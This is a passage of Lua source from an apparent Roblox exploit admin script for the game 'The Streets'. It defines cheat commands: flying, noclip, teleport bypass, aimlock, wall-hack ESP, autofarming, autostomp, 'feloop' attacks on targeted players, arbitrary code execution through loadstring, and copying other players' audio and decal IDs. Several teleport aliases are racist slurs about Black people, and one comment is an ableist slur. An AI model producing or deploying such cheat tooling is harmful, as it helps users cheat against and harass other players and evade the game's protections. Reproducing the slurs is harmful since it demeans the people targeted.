806 AirWalk.Parent = AirWalkOn and workspace or not AirWalkOn and nil
807end,"airwalk",{},"Allows you to float in the air")
808
809local NeverSitting = false
810AddCommand(function()
811NeverSitting = not NeverSitting
812 if NeverSitting then
813 local toParent = workspace:GetDescendants()
814 for i = 1,#toParent do
815 if string.find(toParent[i].ClassName:lower(),'seat') then
816 toParent[i].Parent = CoreGui
817 end
818 end
819 else
820 local toParent = CoreGui:GetChildren()
821 for i = 1,#toParent do
822 if string.find(toParent[i].ClassName:lower(),'seat') then
823 toParent[i].Parent = workspace
824 end
825 end
826 end
827end,"neversit",{"nsit"},"Never sit")
828
829AddCommand(function()
830 AutoDie = not AutoDie
831end,"autodie",{"autoreset"},"When Ko'ed auto kills you")
832
833AddCommand(function()
834 Noclipping = not Noclipping
835 notif("Command: Noclip: ","Noclip has been set to "..tostring(Noclipping),5,"rbxassetid://1281284684")
836end,"noclip",{},"Allows you to walk through walls")
837
838AddCommand(function(Arguments)
839 if Arguments[1] then
840 local Player = PlrFinder(Arguments[1])
841 if Player and Player.Character and Player.Character:FindFirstChild'Head' and Player ~= LP then
842 Teleport(Player.Character.Head.CFrame)
843 end
844 end
845end,"goto",{"to"},"Teleports you to the selected player")
846
847AddCommand(function()
848 TpBypass = not TpBypass
849 GetChar():BreakJoints()
850end,"tpbypass",{},"Turns on tp bypass")
851
852AddCommand(function(Arguments)
853 if Arguments[1] and tonumber(Arguments[1]) then
854 ClockTime = Arguments[1]
855 end
856end,"time",{},"Changes the time to the number you set")
857
858AddCommand(function(Arguments)
859 Blinking = not Blinking
860 if Blinking then
861 if not Arguments[1] or not tonumber(Arguments[1]) then
862 BlinkSpeed = 2
863 else
864 BlinkSpeed = Arguments[1]
865 end
866 end
867 notif("Blinking","Has been set to "..tostring(Blinking),5,nil)
868end,"blink",{},"Another form of speed, Uses CFrame")
869
870AddCommand(function(Arguments)
871 if Arguments[1] then
872 if Arguments[1]:lower() == "shift" then
873 BlinkMode = "Shift"
874 elseif Arguments[1]:lower() == "none" then
875 BlinkMode = "None" -- giving people the illusion of free choice is my motto!
876 end
877 updateSettings()
878 end
879end,"blinkmode",{},"Changes Blinkmode")
880
881AddCommand(function(Arguments)
882 if readfile and writefile then
883 if Arguments[1] then
884 if Arguments[1]:lower() == "default" then
885 Config = "CyrusStreetsAdminSettings"
886 runsettings()
887 elseif pcall(readfile,Arguments[1]) then
888 Config = Arguments[1]
889 runsettings(Arguments[1])
890 else
891 Config = Arguments[1]
892 savesettings()
893 runsettings()
894 end
895 end
896 end
897end,"config",{},"Changes Config")
898
899AddCommand(function(Arguments)
900 if Arguments[1] then
901 Arguments[1] = Arguments[1]:lower()
902 if Arguments[1] == "banland" then
903 TeleportService:Teleport(4669040)
904 elseif Arguments[1] == "normalstreets" then
905 TeleportService:Teleport(455366377)
906 elseif Arguments[1] == "uzi" then
907 GrabThing("Uzi",GetChar().Head.CFrame)
908 elseif Arguments[1] == "machete" then
909 GrabThing("Machete",GetChar().Head.CFrame)
910 elseif Arguments[1] == "spray" then
911 GrabThing("Spray",GetChar().Head.CFrame)
912 elseif Arguments[1] == "sawed" or Arguments[1] == "sawedoff" then
913 GrabThing("SawedOff",GetChar().Head.CFrame)
914 elseif Arguments[1] == "pipe" then
915 GrabThing("Pipe",GetChar().Head.CFrame)
916 elseif Arguments[1] == "glock" then
917 GrabThing("Glock",GetChar().Head.CFrame)
918 elseif PartTable and Arguments[1] == "sand" or Arguments[1] == "sandbox" then
919 Teleport(CFrame.new(-178.60614013672,3.2000000476837,-117.21733093262))
920 elseif PartTable and Arguments[1] == "prison" or Arguments[1] == "jail" or Arguments[1] == "whereblacksgoaftertheyattempttorobsaidbank" then
921 Teleport(CFrame.new(-978.74725341797,3.199854850769,-78.541763305664))
922 elseif PartTable and Arguments[1] == "gas" or Arguments[1] == "gasstation" then
923 Teleport(CFrame.new(99.135276794434,18.599975585938,-73.462348937988))
924 elseif PartTable and Arguments[1] == "court" or Arguments[1] == "basketballcourt" then
925 Teleport(CFrame.new( -191.56864929199,3,223.43171691895))
926 elseif PartTable and Arguments[1] == "beach" then
927 Teleport(CFrame.new(-663.97521972656,1.8657279014587,-369.04748535156))
928 elseif PartTable and Arguments[1] == "bank" or Arguments[1] == "whatblacksrob" then
929 Teleport(CFrame.new(-270.44195556641,4.8757019042969,133.12774658203))
930 end
931 end
932end,"tpto",{"tp"},"Teleports to places [banland/normalstreets/uzi/machete/spray/sawed/sawedoff/pipe/sand/prison/gas/court/beach/bank]")
933
934local FlySpeed = 10
935local FirstFly = true
936local function fly(SPEED) -- CREDITS TO INFINITE YIELD FOR THIS FLY METHOD (I'M PLANNING TO MAKE MY OWN SOON)
937FlySpeed = SPEED or 10
938 local T = GetChar():FindFirstChild'HumanoidRootPart' or GetChar():FindFirstChild'Torso'
939 if not AirWalkOn then
940 CheckCommand("airwalk") -- decided to use airwalk since it works the best
941 end
942 local CONTROL = {F = 0, B = 0, L = 0, R = 0}
943 local lCONTROL = {F = 0, B = 0, L = 0, R = 0}
944 local function fly()
945 flying = true
946 local BG = Instance.new('BodyGyro', T)
947 local BV = Instance.new('BodyVelocity', T)
948 BG.P = 9e4
949 BG.maxTorque = Vector3.new(9e9, 9e9, 9e9)
950 BG.cframe = T.CFrame
951 BV.velocity = Vector3.new(0, 0.1, 0)
952 BV.maxForce = Vector3.new(9e9, 9e9, 9e9)
953 spawn(function()
954 repeat wait()
955 if CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0 then
956 SPEED = 50
957 elseif not (CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0) and SPEED ~= 0 then
958 SPEED = 0
959 end
960 if (CONTROL.L + CONTROL.R) ~= 0 or (CONTROL.F + CONTROL.B) ~= 0 then
961 BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (CONTROL.F + CONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(CONTROL.L + CONTROL.R, (CONTROL.F + CONTROL.B) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
962 lCONTROL = {F = CONTROL.F, B = CONTROL.B, L = CONTROL.L, R = CONTROL.R}
963 elseif (CONTROL.L + CONTROL.R) == 0 and (CONTROL.F + CONTROL.B) == 0 and SPEED ~= 0 then
964 BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (lCONTROL.F + lCONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(lCONTROL.L + lCONTROL.R, (lCONTROL.F + lCONTROL.B) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
965 else
966 BV.velocity = Vector3.new(0, 0.1, 0)
967 end
968 BG.cframe = workspace.CurrentCamera.CoordinateFrame
969 until not flying
970 CONTROL = {F = 0, B = 0, L = 0, R = 0}
971 lCONTROL = {F = 0, B = 0, L = 0, R = 0}
972 SPEED = 0
973 BG:destroy()
974 BV:destroy()
975 LP.Character:FindFirstChildOfClass'Humanoid'.PlatformStand = false
976 if AirWalkOn then
977 CheckCommand("airwalk")
978 end
979 end)
980 end
981 Mouse.KeyDown:connect(function(KEY)
982 if KEY:lower() == 'w' then
983 CONTROL.F = FlySpeed
984 elseif KEY:lower() == 's' then
985 CONTROL.B = -FlySpeed
986 elseif KEY:lower() == 'a' then
987 CONTROL.L = -FlySpeed
988 elseif KEY:lower() == 'd' then
989 CONTROL.R = FlySpeed
990 end
991 end)
992 Mouse.KeyUp:connect(function(KEY)
993 if KEY:lower() == 'w' then
994 CONTROL.F = 0
995 elseif KEY:lower() == 's' then
996 CONTROL.B = 0
997 elseif KEY:lower() == 'a' then
998 CONTROL.L = 0
999 elseif KEY:lower() == 'd' then
1000 CONTROL.R = 0
1001 end
1002 end)
1003 fly()
1004 if FirstFly then
1005 flying = false
1006 wait(0.5)
1007 fly()
1008 FirstFly = false
1009 end
1010end
1011
1012AddCommand(function(Arguments)
1013 if not flying then
1014 fly(Arguments[1] and tonumber(Arguments[1]) or 10)
1015 else
1016 flying = false
1017 end
1018end,"fly",{"f"},"Allows you to be like a bird")
1019
1020AddCommand(function(Arguments)
1021 if Arguments[1] then
1022 if Arguments[1]:lower() == "normal" then
1023 workspace.CurrentCamera.FieldOfView = OldFov
1024 elseif tonumber(Arguments[1]) then
1025 workspace.CurrentCamera.FieldOfView = Arguments[1]
1026 end
1027 end
1028end,"fov",{},"Changes Field Of View")
1029
1030AddCommand(function(Arguments)
1031 if Arguments[1] then
1032 if string.lower(Arguments[1]) == "ws" or string.lower(Arguments[1]) == "speed" then
1033 GetChar():FindFirstChildWhichIsA'Humanoid'.WalkSpeed = Arguments[2]
1034 Normalwalk = true
1035 SpawnWS = Arguments[2] or NormalWS
1036 elseif string.lower(Arguments[1]) == "jp" or string.lower(Arguments[1]) == "jumppower" then
1037 GetChar():FindFirstChildWhichIsA'Humanoid'.JumpPower = Arguments[2]
1038 SpawnJP = Arguments[2] or NormalJP
1039 elseif string.lower(Arguments[1]) == "hh" or string.lower(Arguments[1]) == "hipheight" then
1040 GetChar():FindFirstChildWhichIsA'Humanoid'.HipHeight = Arguments[2]
1041 SpawnHH = Arguments[2] or NormalHH
1042 end
1043 end
1044end,"loop",{},"[Ws/Speed/Jp/JumpPower/HH/HipHeight/]")
1045
1046AddCommand(function(Arguments)
1047 if Arguments[1] then
1048 local v = PlrFinder(Arguments[1])
1049 if v then
1050 if not Arguments[2] then
1051 notif(v.Name,"Is on "..v.OsPlatform.." and is "..v.AccountAge.." days old",5,nil)
1052 elseif Arguments[2] and Arguments[2]:lower() == "os" or Arguments[2]:lower() == "operatingsystem" then
1053 notif(v.Name,"is on "..v.OsPlatform,5,nil)
1054 elseif Arguments[2] and Arguments[2]:lower() == "age" or Arguments[2]:lower() == "accountage" or Arguments[2]:lower() == "accage" then
1055 notif(v.Name,"has the account age of "..v.AccountAge,5,nil)
1056 end
1057 end
1058 else
1059 notif(LP.Name,"you are on "..LP.OsPlatform.."(duh) and your Account Age is "..LP.AccountAge,5,nil)
1060 end
1061end,"playerinfo",{"info"},"PlayerInfo/Info [Player] [Os/OperatingSystem/AccAge/Age/Accountage/none]")
1062
1063local AntiAim = false
1064AddCommand(function()
1065 if AntiAim then
1066 local Tracks = GetChar().Humanoid:GetPlayingAnimationTracks()
1067 for i = 1,#Tracks do
1068 if string.find(Tracks[i].Animation.AnimationId,"215384594") then
1069 Tracks[i]:Stop()
1070 end
1071 end
1072 else
1073 local Anim = Instance.new'Animation'
1074 Anim.AnimationId = "rbxassetid://215384594"
1075 GetChar().Humanoid:LoadAnimation(Anim):play(5,45,250)
1076 end
1077 AntiAim = not AntiAim
1078end,"antiaim",{},"breaks shitty aimbots lol")
1079
1080AddCommand(function()
1081if not PartTable then notif("Sorry,","This command only works on streets.",5,nil) return end
1082local PartFound = GetChar():FindFirstChild'HumanoidRootPart' or GetChar():FindFirstChild'Torso'
1083math.randomseed(os.time())
1084 if workspace:FindFirstChild'Cars' then
1085 local Car = workspace.Cars:GetDescendants()
1086 for i = 1,#Car do
1087 local i = math.random(1,#Car)
1088 if Car[i]:IsA'VehicleSeat' and Car[i].Name == "Drive" and not Car[i].Occupant then
1089 PartFound.CFrame = Car[i].CFrame
1090 end
1091 end
1092 else
1093 notif("Command: BringCar","no cars to bring",nil)
1094 end
1095end,"bringcar",{},"Brings a car (Streets only)")
1096
1097AddCommand(function(Arguments)
1098 if Arguments[1] and #Arguments[1] == 1 and Arguments[2] and Keys then
1099 for Index,Key in pairs(Keys) do
1100 if Key:match("[%a%d]+$") == Arguments[1]:lower() then
1101 table.remove(Keys,Index)
1102 end
1103 end
1104 local Hotkey = table.remove(Arguments, 1)
1105 Keys[#Keys + 1] = table.concat(Arguments, " ").."||"..Hotkey
1106 if writefile and readfile then
1107 updateSettings()
1108 end
1109 end
1110end,"hotkey",{"key"},"Hotkeys a command to a key")
1111
1112AddCommand(function()
1113if not PartTable then notif("Sorry,","This command only works on streets.",5,nil) return end
1114if TpBypass then notif("Due to snakes code","you can not use burgers/drinks with the tpbypass") return end
1115 if GrabThing("Burger",GetChar().Head.CFrame) then
1116 local Hamborger = LP.Backpack:FindFirstChild'Burger'
1117 if Hamborger then
1118 Hamborger.Parent = GetChar()
1119 Hamborger:Activate() -- CHEEMS
1120 repeat RunService.Heartbeat:Wait() until Hamborger.Parent ~= LP.Character
1121 end
1122 end
1123 if GrabThing("Drink",GetChar().Head.CFrame) then
1124 local Drink = LP.Backpack:FindFirstChild'Drink'
1125 if Drink then
1126 Drink.Parent = GetChar()
1127 Drink:Activate()
1128 end
1129 end
1130end,"heal",{"h"},"Heals you")
1131
1132AddCommand(function(Arguments)
1133 if not PartTable then notif("Sorry,","This command only works on streets.",5,nil) return end
1134 HealBot = not HealBot
1135 if Arguments[1] and Arguments[2] and tonumber(Arguments[2]) and Arguments[1] == "health" then
1136 HealBotHealth = tonumber(Arguments[2])
1137 end
1138 notif("HealBot","Has been set to "..tostring(HealBot),5,nil)
1139end,"healbot",{},"Turns on auto healing at a set health (Defaults at 25 hp")
1140
1141AddCommand(function()
1142 if not PartTable then notif("Sorry,","This command only works on streets.",5,nil) return end
1143 if not GetChar():FindFirstChildOfClass'Tool' then notif("Tool needed","Hold a gun",5,nil) return end
1144 GrabThing("Ammo",GetChar().Head.CFrame)
1145end,"reload",{"r"},"Gives your current gun ammo")
1146
1147AddCommand(function()
1148 DoubleJumpEnabled = not DoubleJumpEnabled
1149 notif("Command: DoubleJump","has been set to "..tostring(DoubleJumpEnabled),5,"rbxassetid://1281284684")
1150end,"doublejump",{},"Allows you to jump infitely")
1151
1152AddCommand(function(Arguments)
1153 if Arguments[1] then
1154 for Index,Key in pairs(Keys) do
1155 if Key:match("[%a%d]+$") == Arguments[1]:lower() then
1156 table.remove(Keys,Index)
1157 end
1158 end
1159 end
1160end,"removekey",{"rkey"},"Removes a hotkey to a command")
1161
1162AddCommand(function()
1163 LP:Kick'SHUT'
1164end,"sex",{},"Added sex now shut up about it in cyadmin suggestions")
1165
1166AddCommand(function()
1167 Keys = {}
1168 ClickTpKey = ""
1169 updateSettings()
1170end,"removeallhotkeys",{"removeallkeys"},"Removes all hotkeys")
1171
1172AddCommand(function(Arguments)
1173 if Arguments[1] then
1174 Arguments[1] = Arguments[1]:lower()
1175 if Arguments[1] == "outline" then
1176 Cframe.BackgroundColor3 = Color3.fromRGB(Arguments[2] or 0,Arguments[3] or 0,Arguments[4] or 0)
1177 elseif Arguments[1] == "text" then
1178 CText.BackgroundColor3 = Color3.fromRGB(Arguments[2] or 0,Arguments[3] or 0,Arguments[4] or 0)
1179 elseif Arguments[1] == "background" then
1180 CmdFrame.BackgroundColor3 = Color3.fromRGB(Arguments[2] or 0,Arguments[3] or 0,Arguments[4] or 0)
1181 elseif Arguments[1] == "damageindicator" then
1182 DmgIndicator.TextColor3 = Color3.fromRGB(Arguments[2] or 0,Arguments[3] or 0,Arguments[4] or 0)
1183 elseif Arguments[1] == "cmds" then
1184 local Child = CmdFrame:GetChildren()
1185 for i = 1,#Child do
1186 if Child[i]:IsA'TextLabel' then
1187 Child[i].BackgroundColor3 = Color3.fromRGB(Arguments[2] or 0,Arguments[3] or 0,Arguments[4] or 0)
1188 end
1189 end
1190 elseif Arguments[1] == "bullet" then
1191 BulletColour = ColorSequence.new(Color3.fromRGB(Arguments[2] or 0,Arguments[3] or 0,Arguments[4] or 0))
1192 elseif Arguments[1] == "values" then
1193 DrawingT.Color = Color3.fromRGB(Arguments[2] or 0,Arguments[3] or 0,Arguments[4] or 0)
1194 elseif Arguments[1] == "itemesp" then
1195 ItemEspColour = Color3.fromRGB(Arguments[2] or 0,Arguments[3] or 0,Arguments[4] or 0)
1196 elseif Arguments[1] == "esp" then
1197 EspColour = Color3.fromRGB(Arguments[2] or 0,Arguments[3] or 0,Arguments[4] or 0)
1198 else
1199 notif("Command: Colour","Colour: [BackGround/Text/Outline/cmds/damageindicator/bullet/values/itemesp/esp] [rgb]",5,"rbxassetid://1281284684")
1200 end
1201 end
1202end,"colour",{"color"},"Changes elements colours Colour [BackGround/Text/Outline/cmds/damageindicator/bullet/values/itemesp/esp]")
1203
1204AddCommand(function(Arguments)
1205 if Arguments[1] then
1206 ClickTpKey = string.sub(Arguments[1],1,1)
1207 if readfile and writefile then
1208 updateSettings()
1209 end
1210 end
1211end,"clicktp",{"ctp"},"Allows you to teleport around the map with a Key")
1212
1213local ViewPlayerConnection,ViewPlayerConnection2;
1214AddCommand(function(Arguments)
1215 if Arguments[1] then
1216 local Plr = PlrFinder(Arguments[1])
1217 if Plr and Plr.Character then
1218 if ViewPlayerConnection then ViewPlayerConnection:Disconnect() ViewPlayerConnection = nil ViewPlayerConnection2:Disconnect() ViewPlayerConnection2 = nil end
1219 workspace.CurrentCamera.CameraSubject = Plr.Character
1220 if Arguments[2] and Arguments[2] == "loop" then
1221 ViewPlayerConnection = Plr.CharacterAdded:Connect(function(C)
1222 workspace.CurrentCamera.CameraSubject = C
1223 end)
1224 LP.CharacterAdded:Connect(function(C)
1225 if Plr.Character then
1226 workspace.CurrentCamera.CameraSubject = Plr.Character -- I don't know if this does anything I coded it at 7am but I remember someone saying view plr loop doesn't work when you respawn so
1227 end
1228 end)
1229 end
1230 end
1231 end
1232end,"view",{},"Allows you to look through a players vision")
1233
1234AddCommand(function()
1235 if ViewPlayerConnection and ViewPlayerConnection2 then ViewPlayerConnection:Disconnect() ViewPlayerConnection2:Disconnect() ViewPlayerConnection = nil ViewPlayerConnection2 = nil end
1236 workspace.CurrentCamera.CameraSubject = GetChar()
1237end,"unview",{},"Brings you back to your normal vision")
1238
1239local HR;
1240AddCommand(function(Arguments)
1241if not GetChar():FindFirstChild'HumanoidRootPart' then notif("Sorry","this can be only used without tpbypass on",5,nil) end
1242 if HR then
1243 local CFramex = HR.CFrame
1244 HR:Destroy()
1245 HR = nil
1246 wait(0.5)
1247 Teleport(CFramex)
1248 workspace.CurrentCamera.CameraSubject = GetChar()
1249 else
1250 local old = GetChar().HumanoidRootPart.CFrame
1251 HR = GetChar().HumanoidRootPart:Clone()
1252 HR.Parent = GetChar()
1253 workspace.CurrentCamera.CameraSubject = GetChar().Head
1254 HR.CFrame = CFrame.new(10000,0,10000)
1255 HR.CFrame = old
1256 end
1257end,"fblink",{},"Allows you to \"blink\" around the map")
1258
1259AddCommand(function(Arguments)
1260 if not Freecam then
1261 Freecam = true
1262 FreeCam(Arguments[1])
1263 else
1264 Freecam = false
1265 end
1266end,"freecam",{},"Allows you to \"free\" view the map")
1267
1268AddCommand(function(Arguments)
1269 if Arguments[1] then
1270 if Arguments[1]:lower() == "cash" then
1271 farm("Cash")
1272 elseif Arguments[1]:lower() == "shotty" then
1273 farm("Shotty")
1274 elseif Arguments[1]:lower() == "uzi" then
1275 farm("Uzi")
1276 elseif Arguments[1]:lower() == "katana" then
1277 farm("Katana")
1278 elseif Arguments[1]:lower() == "sawed off" or Arguments[1]:lower() == "sawed" then
1279 farm("Sawed Off")
1280 elseif Arguments[1]:lower() == "all" then
1281 farm("All")
1282 elseif Arguments[1]:lower() == "auto" then
1283 if not AutoFarm then
1284 farm("Cash")
1285 end
1286 local WChild = workspace:GetDescendants()
1287 for i = 1,#WChild do
1288 if WChild[i]:IsA'Seat' then
1289 WChild[i]:Destroy()
1290 end
1291 end
1292 AutoFarm = not AutoFarm
1293 end
1294 end
1295end,"farm",{},"Grabs you stuff around the map (farm [shotty/cash/uzi/katana/sawed/all/auto] - auto is for cash")
1296
1297AddCommand(function()
1298 ItemEsp = not ItemEsp
1299 if ItemEsp then
1300 local ChildrenInMyAttic = workspace:GetChildren()
1301 for i = 1,#ChildrenInMyAttic do
1302 if ChildrenInMyAttic[i].Name == "RandomSpawner" then
1303 addBillBoardGui(ChildrenInMyAttic[i])
1304 end
1305 end
1306 else
1307 local WChild = workspace:GetChildren()
1308 for i = 1,#WChild do
1309 local BBGui = WChild[i]:FindFirstChildOfClass'BillboardGui'
1310 if WChild[i].Name == "RandomSpawner" and BBGui then
1311 BBGui:Destroy()
1312 end
1313 end
1314 end
1315end,"itemesp",{},"Allows you to see where all the spawners are on the map through walls")
1316
1317AddCommand(function(Arguments)
1318 if Arguments[1] then
1319 if Arguments[1]:lower() == "all" then notif("STOP IT","NO. JUST NO.",10,nil) return end
1320 local Player = PlrFinder(Arguments[1])
1321 if Player ~= LP and Player and tostring(AimlockTarget) ~= tostring(Player) then
1322 CheckCommand("esp "..Player.Name)
1323 AimLock = true
1324 AimlockTarget = Player.Character
1325 local Connection; -- Localized so that it is only accessible in this function (Otherwise it would be over-wrote every time this command was called and would never be disconnected)
1326 Connection = Player.CharacterAdded:Connect(function(C)
1327 if tostring(C) == tostring(AimlockTarget) then
1328 AimlockTarget = C
1329 else
1330 Connection:Disconnect()
1331 end
1332 end)
1333 notif("AimlockTarget has been set to",AimlockTarget.Name,5,nil)
1334 end
1335 else
1336 AimLock = not AimLock
1337 notif("Aimlock","has been set to "..tostring(AimLock),5,"rbxassetid://1281284684")
1338 end
1339end,"aimlock",{"aim"},"Shoots your gun that is titled 75 degrees at the selected person (Aimlock [Player/nil/loop] - if nil click players to set the aimlock target to them (loop makes it so when they respawn it still locks on)")
1340
1341local WhiteListedParts = {
1342 ['head'] = "Head";
1343 ['torso'] = "Torso";
1344 ['humanoidrootpart'] = "HumanoidRootPart";
1345 ['prediction'] = "Prediction";
1346}
1347
1348AddCommand(function(Arguments)
1349 if Arguments[1] then
1350 if WhiteListedParts[Arguments[1]:lower()] then
1351 TargetPart = WhiteListedParts[Arguments[1]:lower()]
1352 notif("AimTarget","has been set to "..TargetPart,5,"rbxassetid://1281284684")
1353 end
1354 end
1355end,"aimtarget",{},"Allows you to pick between a part for aimlock to target/prediction")
1356
1357AddCommand(function(Arguments)
1358 if Arguments[1] then
1359 if Arguments[1] == "all" then
1360 local Players_ = Players:GetPlayers()
1361 for i = 1,#Players_ do
1362 if Players_[i] ~= LP and not table.find(EspTable,Players_[i].UserId) then
1363 table.insert(EspTable,Players_[i].UserId)
1364 if not UseDraw or Arguments[2] and Arguments[2]:lower() == "legacy" then
1365 espPlayer(Players_[i],"Legacy")
1366 else
1367 espPlayer(Players_[i])
1368 end
1369 end
1370 end
1371 else
1372 local Player = PlrFinder(Arguments[1])
1373 if not Player then return end
1374 if Player ~= LP and not table.find(EspTable,Player.UserId) then
1375 table.insert(EspTable,Player.UserId)
1376 if not UseDraw or Arguments[2] and Arguments[2]:lower() == "legacy" then
1377 espPlayer(Player,"Legacy")
1378 else
1379 espPlayer(Player)
1380 end
1381 end
1382 end
1383 end
1384end,"esp",{},"allows you to see the player through walls (Esp [plr] legacy for the old esp (will default if you do NOT have drawing api)")
1385
1386AddCommand(function(Arguments)
1387 if Arguments[1] and Arguments[2] then
1388 if Arguments[1]:lower() == "line" then
1389 if Arguments[2]:lower() == "thickness" and Arguments[3] then
1390 DrawTable['Thickness'] = tonumber(Arguments[3])
1391 elseif Arguments[2]:lower() == "transparency" and Arguments[3] then
1392 DrawTable['Transparency'] = tonumber(Arguments[3])
1393 elseif Arguments[2]:lower() == "visible" then
1394 DrawTable['Visible'] = not DrawTable['Visible']
1395 end
1396 end
1397 end
1398end,"espsettings",{},"Changes Drawing API esp settings")
1399
1400AddCommand(function(Arguments)
1401 if Arguments[1] then
1402 local Player = PlrFinder(Arguments[1])
1403 if not Player then return end
1404 local A = workspace:GetDescendants()
1405 table.remove(EspTable,Player.UserId)
1406 for i = 1,#A do
1407 if string.sub(A[i].Name, 1, 5) == "[ESP]" and string.sub(A[i].Name, 6) == Player.Name then
1408 A[i]:Destroy()
1409 end
1410 end
1411 Unesp(Player)
1412 else
1413 local A = workspace:GetDescendants()
1414 EspTable = {}
1415 for i = 1,#A do
1416 if string.sub(A[i].Name, 1, 5) == "[ESP]" then
1417 A[i]:Destroy()
1418 end
1419 end
1420 local P = Players:GetPlayers()
1421 for i = 1,#P do
1422 Unesp(P[i])
1423 end
1424 end
1425end,"unesp",{},"Removes the esp on the player")
1426
1427AddCommand(function()
1428 wait(0.5)
1429 ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("Made by NotCyrusAtAll(Alt: Periius) | Join the cord at nXcZH36","All")
1430end,"advertise",{},"Advertises my discord lol")
1431
1432AddCommand(function()
1433 if GetChar():FindFirstChildOfClass'Tool' then
1434 GetChar():FindFirstChildOfClass'Tool'.Parent = workspace.Terrain
1435 end
1436end,"droptool",{"drop"},"Drops your current tool")
1437
1438AddCommand(function(Arguments)
1439 if Arguments[1] then
1440 loadstring(table.concat(Arguments," "))()
1441 end
1442end,"luacode",{"lua"},"Allows you to execute the Lua code you input")
1443
1444AddCommand(function()
1445 AutoStomp = not AutoStomp
1446 notif("Command: AutoStomp","AutoStomp has been set to "..tostring(AutoStomp),5,"rbxassetid://1281284684")
1447end,"autostomp",{},"Turns On/Off AutoStomp")
1448
1449AddCommand(function(Arguments)
1450 if Arguments[1] and Arguments[1]:lower() == "remove" then
1451 if Arguments[2] then
1452 local Player = PlrFinder(Arguments[2])
1453 if Player and Player ~= LP then
1454 for i,v in pairs(DontStompWhitelisted) do if Player.UserId == v then table.remove(DontStompWhitelisted,i) end end
1455 end
1456 else
1457 DontStompWhitelisted = {}
1458 end
1459 else
1460 local Player = PlrFinder(Arguments[1])
1461 if Player and Player ~= LP then
1462 table.insert(DontStompWhitelisted,Player.UserId)
1463 end
1464 end
1465end,"autostompwhitelist",{},"Whitelists to autostomp so that it doesn't stomp them")
1466
1467AddCommand(function(Arguments)
1468 if Arguments[1] and Arguments[1] == "legacy" then
1469 if GetChar():FindFirstChild'Right Arm' then
1470 GetChar()['Right Arm']:Destroy()
1471 end
1472 else
1473 local ToolTable,CurrentTools = {},LP.Backpack:GetChildren()
1474 for i = 1,#CurrentTools do
1475 local Tool = CurrentTools[i]
1476 if Tool:IsA'Tool' then
1477 ToolTable[#ToolTable + 1] = Tool
1478 end
1479 end
1480 GetChar().ChildAdded:Connect(function(T)
1481 local TempTable;
1482 if T:IsA'Tool' then
1483 if table.find(ToolTable,T) then return end
1484 wait()
1485 T.Parent = LP.Backpack
1486 table.insert(ToolTable,T)
1487 end
1488 end)
1489 end
1490end,"antikill",{},"Turns on Anti FE kill for your current life")
1491
1492AddCommand(function(Arguments)
1493 if Arguments[1] then
1494 local Player = PlrFinder(Arguments[1])
1495 if Player and Player.Character then
1496 local PlayerChild = Player.Character:GetDescendants()
1497 for i = 1,#PlayerChild do
1498 local v = PlayerChild[i]
1499 if v:IsA'Sound' and v.Name == "SoundX" or v.Name == "son" then
1500 notif("Stole the Audio","From "..Player.Name.." check your exploits workspace folder",5,nil)
1501 writefile("AudioLog From "..Player.Name.." "..math.random(1,99)..".txt","Stolen ID: "..v.SoundId:match"%d+".." From: "..Player.Name)
1502 end
1503 end
1504 end
1505 end
1506end,"steal",{},"Steals a persons audio")
1507
1508AddCommand(function(Arguments)
1509 if Arguments[1] then
1510 local Player = PlrFinder(Arguments[1])
1511 if Player then
1512 local FindDecal = workspace:FindFirstChild(Player.Name.."Spray")
1513 if FindDecal and FindDecal:FindFirstChildOfClass'Decal' then
1514 writefile("DecalLog From "..Player.Name.." "..math.random(1,99)..".txt","Stolen Decal: "..tostring(FindDecal.Decal.Texture:match"%d+").." From: "..Player.Name)
1515 notif("Stole the Decal","From "..Player.Name.." check your exploits workspace folder",5,nil)
1516 end
1517 end
1518 end
1519end,"decalsteal",{},"Steals a persons decal")
1520
1521AddCommand(function()
1522 AntiAfk = not AntiAfk
1523 notif("Command: AntiAfk","has been set to "..tostring(AntiAfk),5,"rbxassetid://1281284684")
1524end,"antiafk",{},"Stops you from being kicked from \"AFK\"")
1525
1526AddCommand(function(Arguments)
1527 CamLocking = not CamLocking
1528 if Arguments[1] then
1529 local Player = PlrFinder(Arguments[1])
1530 if Player then
1531 CamlockPlayer = Player
1532 end
1533 end
1534end,"camlock",{"lockcam","cl"},"Different type of aimbot (Uses camera instead of the remote)")
1535
1536local RainbowTable1,RainbowTable2;
1537AddCommand(function()
1538 if game.PlaceId ~= 455366377 then notif("Wont work","you need to be on streets",5,nil) return end
1539 RainbowHats = not RainbowHats
1540 RainbowTable1,RainbowTable2 = LP.PlayerGui.HUD.Clan.Group.cs:GetChildren(),{}
1541 local a = LP.PlayerGui.HUD.Clan.Group.Reps:GetChildren()
1542 for i = 1,#a do
1543 if a[i]:IsA'TextButton' then
1544 RainbowTable2[#RainbowTable2 + 1] = a[i]
1545 end
1546 end
1547end,"rainbowhats",{},"complete autism lol")
1548
1549AddCommand(function(Arguments)
1550 if game.PlaceId == 455366377 then notif("Wont work","you need to be off streets",5,nil) return end
1551 FeLoop = not FeLoop
1552 if Arguments[1] and PlrFinder(Arguments[1]) then
1553 LoopPlayer = PlrFinder(Arguments[1])
1554 GetChar():BreakJoints()
1555 else
1556 LoopPlayer = nil
1557 end
1558end,"feloop",{},"fe loops said player or turns it off")
1559
1560AddCommand(function(Arguments)
1561 if Arguments[1] then
1562 if Arguments[1]:lower() == "leftclick" then
1563 AimlockMode = "LeftClick"
1564 updateSettings()
1565 elseif Arguments[1]:lower() == "rightclick" then
1566 AimlockMode = "RightClick"
1567 updateSettings()
1568 elseif Arguments[1]:lower() == "nomouse" then
1569 AimlockMode = "NoMouse"
1570 updateSettings()
1571 else
1572 notif("Not a mode","Either type leftclick,rightclick,nomouse")
1573 end
1574 end
1575end,"aimmode",{"aimlockmode"},"Sets aimmode [LeftClick/RightClick]")
1576
1577AddCommand(function()
1578local Table = {}
1579 for i = 1,10 do
